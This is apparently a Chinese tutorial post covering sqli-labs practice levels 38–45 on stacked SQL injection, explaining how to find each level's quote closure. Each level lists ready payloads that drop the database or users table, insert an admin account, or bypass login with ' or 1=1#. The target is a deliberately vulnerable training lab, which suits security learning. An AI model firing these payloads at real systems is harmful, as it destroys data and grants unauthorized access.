当前位置: 首页 > news >正文

sqli-labs靶场38-45关(堆叠注入)

目录

less38(堆叠注入1)

less39(堆叠注入2)

less40(堆叠注入3)

 less41(堆叠注入4)

less42(堆叠注入5)

less43(堆叠注入6)

less44(堆叠注入7)

less45(堆叠注入8)



less38(堆叠注入1)

mysqli_multi_query函数——执行多个 SQL 语句,这些语句在字符串 $sql 中用分号分隔。

mysqli_store_result函数——获取第一个查询的结果集,并将其存储在内存中。

mysqli_fetch_row函数——从结果集中获取一行数据,返回一个索引数组。

所以查询只会返回分号前面的结果,不显示后面查询的结果。

但是分号后面可以是执行增删改操作的语句。

分号前面需要闭合,分号后面是需要执行的恶意操作。

比如:

?id=1';drop database security;

?id=1';drop table users;

?id=1';insert into users(username,password) values ('admin1','123456');

要注入的话直接union注入就行。



less39(堆叠注入2)

和less38一样



less40(堆叠注入3)

?id=1'——不正常回显,判断为单引号闭合

?id=1'--+——不正常回显,说明还没有完全闭合

?id=1')--+——正常回显,判断为')闭合

判断好闭合后,利用堆叠注入:

?id=1');drop database security;

?id=1');drop table users;

?id=1');insert into users(username,password) values ('admin1','123456');



 less41(堆叠注入4)

?id=1'不正常回显,?id=1'--+不正常回显

?id=1')--+以及?id=1'))--+都不正常回显,说明可能是数字型

?id=1 and 1=1正常回显,判断为数字型

利用堆叠查询:

?id=1;drop database security;

?id=1;drop table users;

?id=1;insert into users(username,password) values ('admin1','123456');



less42(堆叠注入5)

username随便输

password输入万能密码:' or 1=1#成功登录

——单引号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

';drop database security;

';drop table users;

';insert into users(username,password) values ('admin1','123456');



less43(堆叠注入6)

和less42差不多,

username随便输

password输入万能密码:') or 1=1#成功登录

——单引号括号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

');drop database security;

');drop table users;

');insert into users(username,password) values ('admin1','123456');



less44(堆叠注入7)

和less42一样:

username随便输

password输入万能密码:' or 1=1#成功登录

——单引号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

';drop database security;

';drop table users;

';insert into users(username,password) values ('admin1','123456');



less45(堆叠注入8)

和less43一样:

username随便输

password输入万能密码:') or 1=1#成功登录

——单引号括号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

');drop database security;

');drop table users;

');insert into users(username,password) values ('admin1','123456');



相关文章:

  • Qt 中实现文本截断(ellipsis)的功能。Qt 提供了此方法来处理过长的文本显示问题,例如在界面中限制文本长度并添加省略号(...)
  • Flutter面试题
  • AI编程规范失控?三大策略用Cursor Rules精准约束
  • 边缘计算网关赋能沸石转轮运行故障智能诊断的配置实例
  • Redis常见使用场景解析
  • mysql 悲观锁和乐观锁(—悲观锁)
  • PLC远程控制网关支持多塘口水环境数据边缘计算与远程安全传输的配置指南
  • 对抗性提示:大型语言模型的安全性测试
  • 航芯MCU使用IAR+Jlink调试
  • C++ 类一
  • iTunes 无法备份 iPhone:10 种解决方法
  • Spring Framework 中 UriComponentsBuilder工具类
  • 设计模式-外观模式
  • 数学复习笔记 26
  • 【趣味Html】第11课:动态闪烁发光粒子五角星博客
  • 数据分析之OLTP vs OLAP
  • 【华为云学习与认证】以华为云物联网为基座的全栈开发(从物联网iot平台模块到应用展示、数据分析、机器学习、嵌入式开发等)的系统性学习与认证路线
  • Async-profiler 内存采样机制解析:从原理到实现
  • springboot 微服务 根据tomcat maxthread 和 等待用户数量,达到阈值后,通知用户前面还有多少用户等待,请稍后重试
  • 微服务面试资料1
  • 榆林市建设局网站/百度平台商家
  • 万网域名管理网站/宣传方式有哪些
  • 上海网站运营/seo免费课程
  • 如何做竞价网站数据监控/农产品营销方案
  • 行政事业单位网站建设/seo黑帽技术工具
  • 做网站销售的/市场营销策划案例经典大全